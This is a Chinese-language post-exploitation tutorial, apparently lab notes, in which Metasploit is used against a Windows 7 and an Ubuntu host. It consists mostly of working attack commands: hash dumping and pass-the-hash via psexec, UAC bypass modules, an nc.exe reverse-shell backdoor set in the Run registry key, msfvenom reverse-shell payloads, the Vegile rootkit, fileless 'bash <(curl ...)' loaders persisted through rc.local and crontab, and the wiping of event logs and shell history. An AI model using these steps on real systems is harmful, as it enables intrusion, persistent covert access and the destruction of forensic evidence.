1.创建一个新用户来远程连接 win7 桌面

RDP概述:远程桌面协议( RDP, Remote Desktop Protocol )是一个多通道 multi channel的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。

1.1使用enable_rdp脚本开启远程桌面并创建用户

meterpreter > run post/windows/manage/enable_rdp

meterpreter > run post/windows/manage/enable_rdp USERNAME=phantom PASSWORD=123456

开一个新的终端

root@kali:~# rdesktop 192.168.3.33

登录账号 phantom 123456

1.2.关闭主机防护策略并开启后门

通过ms 17 010 永恒之蓝获取到的 shell 可能会出现操作受限的情况,所以我们使用主机的账户信息建立 session 进行连接。

Windows System32 config SAM

我们创建一条防火墙规则允许4444 端口访问网络,否则我们建立 session 时 payload 不能通过4444 端口访问网络导致 session 建立失败。

netsh firewall add portopening TCP 4444 “phantom” ENABLE ALL

账号的hash值

hashdump
admin:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:381c848b3c04bb3cb5eb508e52e39d8c:::
phantom:1005:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
win7 x64:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\windows\Currentversion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\windows\Currentversion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.

参数说明
ADD添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项

开启 win7 系统主机的默认共享, 默认共享对 Windows 主机的文件共享非常方便,也方便黑客利用这个功能,远程执行命令。
C:Windows system32> cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

注:psexec 实用程序在远程系统上需要做一些事情:服务器消息块( SMB )服务必须可用并且可以访问(例如,未被防火墙阻止);必须启用文件和打印共享。 Admin$ 共享必须可用并且可以访问。它是一个隐藏的 SMB 共 享, 它映射到 Windows 目录,用于软件部署。提供给 psexec 实用程序的凭据必须具有访问 Admin$ 共享的权限。 psexec 的可执行文件内有 Windows 服务映像。它接受此服务并将其部署到远程计算机上的Admin$ 共享中。然后,它使用 SMB 上的 DCE/RPC 分布式计算环境 远程过程调用 )接口来访问 W indows Service Control Manager API 。它将打开远程计算机上的 psexec服务。然后 psexec 服务创建一个可用于将命令发送到系统的命名管道。

注:提权 绕过UAC

当我们得到一个目标主机返回的shell后,我们第一步要看的是当前用户是不是管理员权限,如果不是管理员权限,这个时候需要我们去提权。我们可以利用kaili中的本地提权的方式,下面介绍一下本地提权绕过UAC的方式提升当前用户权限,以下是详细的命令以及步骤:

什么是UAC

Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

UAC如何运行

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

因为有的用户是没有管理员权限,没有管理员权限是运行不了哪些只能通过管理员权限才能操作的命令。比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作。

最直接的就是 getsystem

绕过UAC防护机制的前提是我们首先通过explloit获得目标主机的meterprter

执行完毕成功后,再次查询当前用户的权限就会提升到管理员权限 getuid

1.进程注入

use exploit/windows/local/bypassuac

2.内存注入

此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。执行完毕以下命令,当前用户权限就会变为管理员权限

use exploit/windows/local/bypassuac_fodhelper

3.通过COM处理程序劫持

COM处理程序劫持,此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

use exploit/windows/local/bypassuac_comhijack

4.通过Eventvwr注册表项

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

use exploit/windows/local/bypassuac_eventvwr

以上的本地提权的模块大家可以本地去测试一下,除了这些某块还有其它的通过直接通过incognito中的add_localgroup_user提升、ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc域权限提升等其它的权限提升方法

1.3.使用 hash 值登录系统


msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp

msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.3.28

msf6 exploit(windows/smb/psexec) > set SMBUSER phantom

msf6 exploit(windows/smb/psexec) > set SMBPASS aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

msf6 exploit(windows/smb/psexec) > set SMBDOMAIN WORKGROUP
SMBDOMAIN => WORKGROUP
msf6 exploit(windows/smb/psexec) > exploit


我们用phantom获取了system的权限

getuid

Server username: NT AUTHORITY\SYSTEM

下面我们配置一个后门程序,修改UAC 的注册表,需要重启才能生效。
上传nc 到 Win 7
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows

注册表添加启动项执行
nc 反弹 shell 命令
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'
Successfully set lltest_nc of REG_SZ.
nc 参数解释:
-L表示用户退出连接后重新进行端口侦听
-d后台运行
-p指定端口
-e prog 程序重定向,一旦连接,就执行
meterpreter > shell

C:\Windows\system32>netsh firewall add portopening TCP 443 "phantom" ENABLE ALL

shutdown -r -f -t 0

-r 重启

-f 强制

-t 时间 0 表示立刻

后门已经插入 用nc 连接或者msf

nc -v 192.168.3.28 443

msf6 > connect 192.168.3.28 443

还可以上传木马并执行

3.Linux无文件木马程序

准备

Ubuntu:192.168.3.26

kali: 192.168.3.24

root@kali:~# msfvenom -a x64 –platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.3.24 LPORT=8080 -b “\x00” -f elf -o /var/www/html/backdoor

msfvenom -a x64 –platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.3.24 LPORT=4444 -b “\x00” -f elf -o /var/www/html/ghost

启动apache
systemctl start apache2

systemctl enable apache2 开机自启

Vegile
是用于 linux 系统渗透测试中的权限维持。 Vegile 这个工具将设置一个后门 /rootkit ,并且
这个后门会直接隐藏进程,无限连接 metesploit, 持续维持你的 Metepreter 会话,即使木马进程被杀
死,它依然会再次重新运行,换句话说是该进程无限循环的。

使用注意事项:
木马一定要放在Vegile 目录下
Vegile一般用于维持 meterpreter 会话;

use exploit/multi/handler
exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
exploit(multi/handler) > set LHOST 192.168.3.24
exploit(multi/ha ndler) > set LPORT 8080 改一下端口,防止和上面实验的 4444 端端口冲突

exploit(multi/ha ndler) > exploit -j

到Ubuntu下建立连接

将Vegile 和backdoor传入

wget 192.168.3.24/backdoor

chmod +x backdoor

chmod +x Vegile

./backdoor

netstat -antup | grep 8080

ps -aux | grep 4495

ifconfig

/usr/sbin/ifconfig

3.2 创建无文件后门程序

use exploit/multi/handler
exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
exploit(multi/handler) > set LHOST 192.168.3.24
exploit(multi/handler) > set LPORT 4444
exploit(multi/handler) > exploit -j

在kali上操控Ubuntu

wget 192.168.3.24/ghost

chmod +x ghost

./Vegile –i ghost

查看已成功

sessions 查看端口为37884

rm -rf /root/Vegile master

删除时会把后门给删掉,但通话还建立,程序照常运行

./Velige --u 无限复制metasploit会话,即使kill 任然可以运行

./Velige --i ghost

4.使用脚本来进行自动创建后门

建立个脚本

vim script.sh

cd /tmp/
# 把前面下载 Vegile 到执行后门文件的命令使用 拼接成一条命令
#&& 表示前面的命令执行成功则执行下一条命令
# echo y | 表示将 y 作为 Vegile 命令的输入,因为执行 Vegile 命令是需要我们按任意键退出,所以我们手动输入一个字符让程序执行完成后自动退出。
#>> /dev/null 2>&1 不显示所有输出结果。
wget 192.168.3.24/Vegile-master.zip && unzip Vegile-master.zip && cd Vegile master && chmod +x Vegile && wget 192.168.3.24/ghost && chmod +x ghost && echo -y | ./Vegile --i ghost >> /dev/null 2>&1
#删除下载的所有文件
rm -rf /tmp/Vegile master.zip /tmp/Vegile master
2>&1的意思就是将标准错误重定向到标准输出。这里标准输出已经重定向到了/dev/null 。那么
标准错误也会输出到 /dev/null 。 /dev/null 可以看作黑洞. 它等价于一个只写文件.所有写入它的内容都会永远丢失.而尝试从它那儿读取内容则什么也读不到

首先我们先清空后台任务和前面已经建立的session
msf6 exploit(multi/handler) > jobs -K
msf6 exploit(multi/handler) > sessions -K
msf6 exploit(multi/handler) > exploit -j

bash <(curl -s -L http://192.168.3.24/script.sh) >> /dev/null 2>&1


说明:
bash<() 表示将括号中的内容通过 bash 来执行
curl -s -L #curl 是一个利用 URL 语法在命令行下进行文件传输的工具
-s –silent 表示静默模式不输出任何内容
-L 跟 http 连接,组合使用的效果是把 http 连接中的文件下载到内存中,然后传 bash ,进行执行。这样好处是:本地不会保存任何文件。

>>/dev/null 2>&1不输出任何信息


sessions连接已建立

pwd

pwd: error retrieving current directory: getcwd: cannot access parent directories: No
such file or directory

提示目录不存在因为payload中的Velige目录已被删除

cd /root/
id
uid=0(root) gid=0(root) groups=0(root)

配置开机自启

将命令添加到开机启动项

注: 在开机项加/etc/rc.local

root@Ububtu:~# echo "bash <(curl -s -L http://192.168.3.24/script.sh) >> /dev/null 2>&1" >> /etc/rc.local

chmod +x /etc/rc.local

reboot

?上面的试了没用

root@ubuntu:# mv /etc/rc.local /etc/init.d/
root@ubuntu:
# cd /etc/init.d
root@ubuntu:/etc/init.d# su update-rc.d rc.local defaults 99

配置计划任务

ll /etc/crontab

这是系统任务调度文件

vim /etc/crontab

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin #系统搜索路径

MAILTO=root

# * * * * * user

name command to be executed
0 */1 * * * root bash <(curl s L http://192.168.1.53/xuegod.sh) >> /dev/null 2>&1

系统日志清理

Windows 日志清理

Win+R 运行: eventvwr

正常的远程访问在 windows 的时间查看器中可以看到相关记录

meterpreter > clearev

删除系统日志目录下的一些日志文件。
meterpreter > shell
C:\Windows system32>del %WINDIR% WINDIR%\*.log /a/s/q/f

Linux 日志清理

Linux
可能根据发行版本不同,日志文件名称也有所不同。所以具体清除需要大家先看一下目标操作
系统。
清理历史命令
history -c
使系统不再保存历史命令
vi /etc/profile,找到 HISTSIZE 这个值,修改为 0
删除访问日志

访问失败的日志

删除登录失败记录:echo > /var/log/btmp
访问成功的日志
echo > /var/log/wtmp (此时执行 last 命令就会发现没有记录)
删除日志记录

echo > /var/log/secure

执行时注意文件是否有执行权限。而且删除日志一般只有root 权限才可以。